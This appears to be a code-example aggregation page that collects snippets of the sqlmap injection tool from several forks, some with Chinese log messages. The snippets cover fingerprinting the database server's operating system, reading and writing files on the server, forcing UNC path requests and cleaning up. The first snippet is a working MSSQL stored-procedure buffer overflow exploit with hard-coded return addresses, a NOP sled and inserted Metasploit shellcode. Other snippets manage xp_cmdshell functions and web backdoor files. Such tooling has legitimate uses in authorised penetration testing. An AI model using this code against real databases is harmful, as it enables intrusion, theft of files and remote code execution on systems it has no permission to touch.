                       "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)",
                       "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)",
                       "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)",
                       "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)",
                       "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)",
                       "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),

            # 2003 Service Pack 2 updated at 09/2009
            # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
        }
        addrs = None

        for versionSp, data in returns.items():
            version, sp = versionSp.split("-")
            sp = int(sp)

            if Backend.getOsVersion() == version and Backend.getOsServicePack(
            ) == sp:
                addrs = data

                break

        if not addrs:
            errMsg = "sqlmap can not exploit the stored procedure buffer "
            errMsg += "overflow because it does not have a valid return "
            errMsg += "code for the underlying operating system (Windows "
            errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(),
                                               Backend.getOsServicePack())
            raise SqlmapUnsupportedFeatureException(errMsg)

        shellcodeChar = ""
        hexStr = binascii.hexlify(self.shellcodeString[:-1])

        for hexPair in xrange(0, len(hexStr), 2):
            shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2]

        shellcodeChar = shellcodeChar[:-1]

        self.spExploit = """DECLARE @buf NVARCHAR(4000),
        @val NVARCHAR(4),
        @counter INT
        SET @buf = '
        DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
        EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
        SET @val = CHAR(0x41)
        SET @counter = 0
        WHILE @counter < 3320
        BEGIN
          SET @counter = @counter + 1
          IF @counter = 411
          BEGIN
            /* pointer to call [ecx+8] */
            SET @buf = @buf + %s

            /* push ebp, pop esp, ret 4 */
            SET @buf = @buf + %s

            /* push ecx, pop esp, pop ebp, retn 8 */
            SET @buf = @buf + %s

            /* Garbage */
            SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)

            /* retn 1c */
            SET @buf = @buf + %s

            /* retn 1c */
            SET @buf = @buf + %s

            /* anti DEP */
            SET @buf = @buf + %s

            /* jmp esp */
            SET @buf = @buf + %s

            /* jmp esp */
            SET @buf = @buf + %s

            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)

            set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
            set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
            set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)

            /* Metasploit shellcode */
            SET @buf = @buf + %s

            SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
            SET @counter = @counter + 302
            SET @val =  CHAR(0x43)
            CONTINUE
          END
          SET @buf = @buf + @val
        END
        SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
        EXEC master..sp_executesql @buf
        """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5],
               addrs[6], addrs[7], shellcodeChar)

        self.spExploit = self.spExploit.replace("    ", "").replace("\n", " ")

        logger.info(
            "triggering the buffer overflow vulnerability, please wait..")
        inject.goStacked(self.spExploit, silent=True)
Пример #27
0
 def uncPathRequest(self):
     # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
     inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
Пример #28
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs() and Backend.getOsVersion(
        ) and Backend.getOsServicePack():
            return

        if not Backend.getOs():
            Backend.setOs(OS.WINDOWS)

        if not detailed:
            return

        infoMsg = "fingerprinting the back-end DBMS operating system "
        infoMsg += "version and service pack"
        logger.info(infoMsg)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()

        self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" %
                         (self.fileTblName, self.tblField, "@@VERSION"))

        # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
        # http://en.wikipedia.org/wiki/Windows_NT#Releases
        versions = {
            "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
            "2000": ("5.0", (4, 3, 2, 1)),
            "XP": ("5.1", (3, 2, 1)),
            "2003": ("5.2", (2, 1)),
            "Vista or 2008": ("6.0", (2, 1)),
            "7 or 2008 R2": ("6.1", (1, 0)),
            "8 or 2012": ("6.2", (0, )),
            "8.1 or 2012 R2": ("6.3", (0, ))
        }

        # Get back-end DBMS underlying operating system version
        for version, data in versions.items():
            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Windows NT " + data[0] + "%')"
            result = inject.checkBooleanExpression(query)

            if result:
                Backend.setOsVersion(version)
                infoMsg += " %s" % Backend.getOsVersion()
                break

        if not Backend.getOsVersion():
            Backend.setOsVersion("2003")
            Backend.setOsServicePack(2)

            warnMsg = "unable to fingerprint the underlying operating "
            warnMsg += "system version, assuming it is Windows "
            warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(),
                                               Backend.getOsServicePack())
            logger.warn(warnMsg)

            self.cleanup(onlyFileTbl=True)

            return

        # Get back-end DBMS underlying operating system service pack
        sps = versions[Backend.getOsVersion()][1]
        for sp in sps:
            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Service Pack " + getUnicode(sp) + "%')"
            result = inject.checkBooleanExpression(query)

            if result:
                Backend.setOsServicePack(sp)
                break

        if not Backend.getOsServicePack():
            debugMsg = "assuming the operating system has no service pack"
            logger.debug(debugMsg)

            Backend.setOsServicePack(0)

        if Backend.getOsVersion():
            infoMsg += " Service Pack %d" % Backend.getOsServicePack()

        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Пример #29
0
    def cleanup(self, onlyFileTbl=False, udfDict=None, web=False):
        """
        Cleanup file system and database from sqlmap create files, tables
        and functions
        """

        if web and self.webBackdoorFilePath:
            logger.info("cleaning up the web files uploaded")

            self.delRemoteFile(self.webStagerFilePath)
            self.delRemoteFile(self.webBackdoorFilePath)

        if (not isStackingAvailable() or kb.udfFail) and not conf.direct:
            return

        if any((conf.osCmd, conf.osShell)) and Backend.isDbms(
                DBMS.PGSQL) and kb.copyExecTest:
            return

        if Backend.isOs(OS.WINDOWS):
            libtype = "dynamic-link library"

        elif Backend.isOs(OS.LINUX):
            libtype = "shared object"

        else:
            libtype = "shared library"

        if onlyFileTbl:
            logger.debug("cleaning up the database management system")
        else:
            logger.info("cleaning up the database management system")

        logger.debug("removing support tables")
        inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True)
        inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True)

        if not onlyFileTbl:
            inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)

            if Backend.isDbms(DBMS.MSSQL):
                udfDict = {"master..new_xp_cmdshell": {}}

            if udfDict is None:
                udfDict = getattr(self, "sysUdfs", {})

            for udf, inpRet in udfDict.items():
                message = "do you want to remove UDF '%s'? [Y/n] " % udf

                if readInput(message, default='Y', boolean=True):
                    dropStr = "DROP FUNCTION %s" % udf

                    if Backend.isDbms(DBMS.PGSQL):
                        inp = ", ".join(i for i in inpRet["input"])
                        dropStr += "(%s)" % inp

                    logger.debug("removing UDF '%s'" % udf)
                    inject.goStacked(dropStr, silent=True)

            logger.info("database management system cleanup finished")

            warnMsg = "remember that UDF %s files " % libtype

            if conf.osPwn:
                warnMsg += "and Metasploit related files in the temporary "
                warnMsg += "folder "

            warnMsg += "saved on the file system can only be deleted "
            warnMsg += "manually"
            logger.warn(warnMsg)
Пример #30
0
    def checkDbmsOs(self, detailed=False):
        if kb.os and kb.osVersion and kb.osSP:
            return

        if not kb.os:
            kb.os = "Windows"

        if not detailed:
            return

        infoMsg = "fingerprinting the back-end DBMS operating system "
        infoMsg += "version and service pack"
        logger.info(infoMsg)

        infoMsg = "the back-end DBMS operating system is %s" % kb.os

        self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" %
                         (self.fileTblName, self.tblField, "@@VERSION"))

        versions = {
            "2003": ("5.2", (2, 1)),
            #"2003": ("6.0", (2, 1)),
            "2008": ("7.0", (1, )),
            "2000": ("5.0", (4, 3, 2, 1)),
            "XP": ("5.1", (2, 1)),
            "NT": ("4.0", (6, 5, 4, 3, 2, 1))
        }

        # Get back-end DBMS underlying operating system version
        for version, data in versions.items():
            query = "(SELECT LEN(%s) FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Windows NT " + data[0] + "%')>0"

            if inject.checkBooleanExpression(query):
                infoMsg += " %s" % kb.osVersion
                kb.osVersion = version
                break

        if not kb.osVersion:
            kb.osVersion = "2003"
            kb.osSP = 2

            warnMsg = "unable to fingerprint the underlying operating "
            warnMsg += "system version, assuming it is Windows "
            warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
            logger.warn(warnMsg)

            self.cleanup(onlyFileTbl=True)

            return

        # Get back-end DBMS underlying operating system service pack
        sps = versions[kb.osVersion][1]

        for sp in sps:
            query = "(SELECT LEN(%s) FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Service Pack " + getUnicode(sp) + "%')>0"

            if inject.checkBooleanExpression(query):
                kb.osSP = sp
                break

        if not kb.osSP:
            debugMsg = "assuming the operating system has no service pack"
            logger.debug(debugMsg)

            kb.osSP = 0

        if kb.osVersion:
            infoMsg += " Service Pack %d" % kb.osSP

        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Пример #31
0
 def createSupportTbl(self, tblName, tblField, tblType):
     inject.goStacked("DROP TABLE %s" % tblName, silent=True)
     inject.goStacked("CREATE TABLE %s(%s %s)" %
                      (tblName, tblField, tblType))
Пример #32
0
    def cleanup(self, onlyFileTbl=False, udfDict=None, web=False):
        """
        Cleanup file system and database from sqlmap create files, tables
        and functions
        """

        if web and self.webBackdoorFilePath:
            logger.info("cleaning up the web files uploaded")

            self.delRemoteFile(self.webStagerFilePath)
            self.delRemoteFile(self.webBackdoorFilePath)

        if not isTechniqueAvailable(
                PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
            return

        if Backend.isOs(OS.WINDOWS):
            libtype = "dynamic-link library"

        elif Backend.isOs(OS.LINUX):
            libtype = "shared object"

        else:
            libtype = "shared library"

        if onlyFileTbl:
            logger.debug("cleaning up the database management system")
        else:
            logger.info("cleaning up the database management system")

        logger.debug("removing support tables")
        inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True)
        inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True)

        if not onlyFileTbl:
            inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)

            if Backend.isDbms(DBMS.MSSQL):
                return

            if udfDict is None:
                udfDict = self.sysUdfs

            for udf, inpRet in udfDict.items():
                message = "do you want to remove UDF '%s'? [Y/n] " % udf
                output = readInput(message, default="Y")

                if not output or output in ("y", "Y"):
                    dropStr = "DROP FUNCTION %s" % udf

                    if Backend.isDbms(DBMS.PGSQL):
                        inp = ", ".join(i for i in inpRet["input"])
                        dropStr += "(%s)" % inp

                    logger.debug("removing UDF '%s'" % udf)
                    inject.goStacked(dropStr, silent=True)

            logger.info("database management system cleanup finished")

            warnMsg = "remember that UDF %s files " % libtype

            if conf.osPwn:
                warnMsg += "and Metasploit related files in the temporary "
                warnMsg += "folder "

            warnMsg += "saved on the file system can only be deleted "
            warnMsg += "manually"
            logger.warn(warnMsg)
Пример #33
0
 def uncPathRequest(self):
     self.createSupportTbl(self.fileTblName, self.tblField, "text")
     inject.goStacked("COPY %s(%s) FROM '%s'" %
                      (self.fileTblName, self.tblField, self.uncPath),
                      silent=True)
     self.cleanup(onlyFileTbl=True)
Пример #34
0
 def xpCmdshellExecCmd(self, cmd, silent=False):
     return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)
Пример #35
0
    def stackedReadFile(self, remoteFile):
        if not kb.bruteMode:
            infoMsg = "fetching file: '%s'" % remoteFile
            logger.info(infoMsg)

        result = []
        txtTbl = self.fileTblName
        hexTbl = "%s%shex" % (self.fileTblName, randomStr())

        self.createSupportTbl(txtTbl, self.tblField, "text")
        inject.goStacked("DROP TABLE %s" % hexTbl)
        inject.goStacked(
            "CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" %
            (hexTbl, self.tblField, "VARCHAR(4096)"))

        logger.debug("loading the content of file '%s' into support table" %
                     remoteFile)
        inject.goStacked(
            "BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
            % (txtTbl, remoteFile, randomStr(10), randomStr(10)),
            silent=True)

        # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829
        binToHexQuery = """DECLARE @charset VARCHAR(16)
        DECLARE @counter INT
        DECLARE @hexstr VARCHAR(4096)
        DECLARE @length INT
        DECLARE @chunk INT

        SET @charset = '0123456789ABCDEF'
        SET @counter = 1
        SET @hexstr = ''
        SET @length = (SELECT DATALENGTH(%s) FROM %s)
        SET @chunk = 1024

        WHILE (@counter <= @length)
        BEGIN
            DECLARE @tempint INT
            DECLARE @firstint INT
            DECLARE @secondint INT

            SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
            SET @firstint = floor(@tempint/16)
            SET @secondint = @tempint - (@firstint * 16)
            SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)

            SET @counter = @counter + 1

            IF @counter %% @chunk = 0
            BEGIN
                INSERT INTO %s(%s) VALUES(@hexstr)
                SET @hexstr = ''
            END
        END

        IF @counter %% (@chunk) != 0
        BEGIN
            INSERT INTO %s(%s) VALUES(@hexstr)
        END
        """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl,
               self.tblField, hexTbl, self.tblField)

        binToHexQuery = binToHexQuery.replace("    ", "").replace("\n", " ")
        inject.goStacked(binToHexQuery)

        if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
            result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" %
                                     (self.tblField, hexTbl),
                                     resumeValue=False,
                                     blind=False,
                                     time=False,
                                     error=False)

        if not result:
            result = []
            count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl),
                                    resumeValue=False,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

            if not isNumPosStrValue(count):
                errMsg = "unable to retrieve the content of the "
                errMsg += "file '%s'" % remoteFile
                raise SqlmapNoneDataException(errMsg)

            indexRange = getLimitRange(count)

            for index in indexRange:
                chunk = inject.getValue(
                    "SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC"
                    % (self.tblField, hexTbl, self.tblField, index,
                       self.tblField, hexTbl),
                    unpack=False,
                    resumeValue=False,
                    charsetType=CHARSET_TYPE.HEXADECIMAL)
                result.append(chunk)

        inject.goStacked("DROP TABLE %s" % hexTbl)

        return result
Пример #36
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs() and Backend.getOsVersion(
        ) and Backend.getOsServicePack():
            return

        if not Backend.getOs():
            Backend.setOs(OS.WINDOWS)

        if not detailed:
            return

        infoMsg = "fingerprinting the back-end DBMS operating system "
        infoMsg += "version and service pack"
        logger.info(infoMsg)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()

        self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" %
                         (self.fileTblName, self.tblField, "@@VERSION"))

        versions = {
            "2003": ("5.2", (2, 1)),
            # TODO: verify this
            #"2003": ("6.0", (2, 1)),
            "2008": ("7.0", (1, )),
            "2000": ("5.0", (4, 3, 2, 1)),
            "7": ("6.1", (1, 0)),
            "XP": ("5.1", (2, 1)),
            "NT": ("4.0", (6, 5, 4, 3, 2, 1))
        }

        # Get back-end DBMS underlying operating system version
        for version, data in versions.items():
            query = "(SELECT LEN(%s) FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Windows NT " + data[0] + "%')>0"
            result = inject.checkBooleanExpression(query)

            if result:
                Backend.setOsVersion(version)
                infoMsg += " %s" % Backend.getOsVersion()
                break

        if not Backend.getOsVersion():
            Backend.setOsVersion("2003")
            Backend.setOsServicePack(2)

            warnMsg = "unable to fingerprint the underlying operating "
            warnMsg += "system version, assuming it is Windows "
            warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(),
                                               Backend.getOsServicePack())
            logger.warn(warnMsg)

            self.cleanup(onlyFileTbl=True)

            return

        # Get back-end DBMS underlying operating system service pack
        sps = versions[Backend.getOsVersion()][1]

        for sp in sps:
            query = "SELECT LEN(%s) FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Service Pack " + getUnicode(sp) + "%'"
            result = inject.goStacked(query)

            if result is not None and len(result) > 0 and result[0].isdigit():
                Backend.setOsServicePack(sp)
                break

        if not Backend.getOsServicePack():
            debugMsg = "assuming the operating system has no service pack"
            logger.debug(debugMsg)

            Backend.setOsServicePack(0)

        if Backend.getOsVersion():
            infoMsg += " Service Pack %d" % Backend.getOsServicePack()

        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Пример #37
0
    def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
        wFileSize = os.path.getsize(wFile)

        if wFileSize > 8192:
            errMsg = "on PostgreSQL it is not possible to write files "
            errMsg += "bigger than 8192 bytes at the moment"
            raise sqlmapUnsupportedFeatureException, errMsg

        self.oid = randomInt()

        debugMsg = "creating a support table to write the base64 "
        debugMsg += "encoded file to"
        logger.debug(debugMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "text")

        logger.debug("encoding file to its base64 string value")
        fcEncodedList = self.fileEncode(wFile, "base64", False)

        debugMsg = "forging SQL statements to write the base64 "
        debugMsg += "encoded file to the support table"
        logger.debug(debugMsg)

        sqlQueries = self.fileToSqlQueries(fcEncodedList)

        logger.debug("inserting the base64 encoded file to the support table")

        for sqlQuery in sqlQueries:
            inject.goStacked(sqlQuery)

        debugMsg = "create a new OID for a large object, it implicitly "
        debugMsg += "adds an entry in the large objects system table"
        logger.debug(debugMsg)

        # References:
        # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
        # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
        inject.goStacked("SELECT lo_create(%d)" % self.oid)

        debugMsg = "updating the system large objects table assigning to "
        debugMsg += "the just created OID the binary (base64 decoded) UDF "
        debugMsg += "as data"
        logger.debug(debugMsg)

        # Refereces:
        # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
        # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
        #
        # NOTE: From PostgreSQL site:
        #
        #   "The data stored in the large object will never be more than
        #   LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
        #   typically 2 Kb"
        #
        # As a matter of facts it was possible to store correctly a file
        # large 13776 bytes, the problem arises at next step (lo_export())
        inject.goStacked(
            "UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d"
            % (self.tblField, self.fileTblName, self.oid))

        debugMsg = "exporting the OID %s file content to " % fileType
        debugMsg += "file '%s'" % dFile
        logger.debug(debugMsg)

        # NOTE: lo_export() exports up to only 8192 bytes of the file
        # (pg_largeobject 'data' field)
        inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile),
                         silent=True)

        if confirm:
            self.askCheckWrittenFile(wFile, dFile, fileType)

        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
Пример #38
0
    def _checkFileLength(self, localFile, remoteFile, fileRead=False):
        if Backend.isDbms(DBMS.MYSQL):
            lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile

        elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
            lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid

        elif Backend.isDbms(DBMS.MSSQL):
            self.createSupportTbl(self.fileTblName, self.tblField,
                                  "VARBINARY(MAX)")
            inject.goStacked(
                "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)"
                % (self.fileTblName, self.tblField, self.tblField, remoteFile,
                   self.fileTblName, self.tblField))

            lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField,
                                                             self.fileTblName)

        try:
            localFileSize = os.path.getsize(localFile)
        except OSError:
            warnMsg = u"文件'%s' 丢失" % localFile
            logger.warn(warnMsg)
            localFileSize = 0

        if fileRead and Backend.isDbms(DBMS.PGSQL):
            logger.info("无法在 PostgreSQL 上检查读取文件'%s'的长度" % remoteFile)
            sameFile = True
        else:
            logger.debug(u"检查远程文件'%s'的长度" % remoteFile)
            remoteFileSize = inject.getValue(lengthQuery,
                                             resumeValue=False,
                                             expected=EXPECTED.INT,
                                             charsetType=CHARSET_TYPE.DIGITS)
            sameFile = None

            if isNumPosStrValue(remoteFileSize):
                remoteFileSize = long(remoteFileSize)
                localFile = getUnicode(localFile,
                                       encoding=sys.getfilesystemencoding()
                                       or UNICODE_ENCODING)
                sameFile = False

                if localFileSize == remoteFileSize:
                    sameFile = True
                    infoMsg = u"本地文件'%s'和远程文件" % localFile
                    infoMsg += u"'%s'的大小相同 (%d B)" % (remoteFile,
                                                      localFileSize)
                elif remoteFileSize > localFileSize:
                    infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)大(%d B)" % (
                        remoteFile, localFile, localFileSize, remoteFileSize)
                else:
                    infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)小(%d B)" % (
                        remoteFile, localFile, localFileSize, remoteFileSize)

                logger.info(infoMsg)
            else:
                sameFile = False
                warnMsg = u"看起来文件尚未写入"
                warnMsg += u"(通常出现这种情况是因为DBMS进程用户在目标路径中没有写权限)"
                logger.warn(warnMsg)

        return sameFile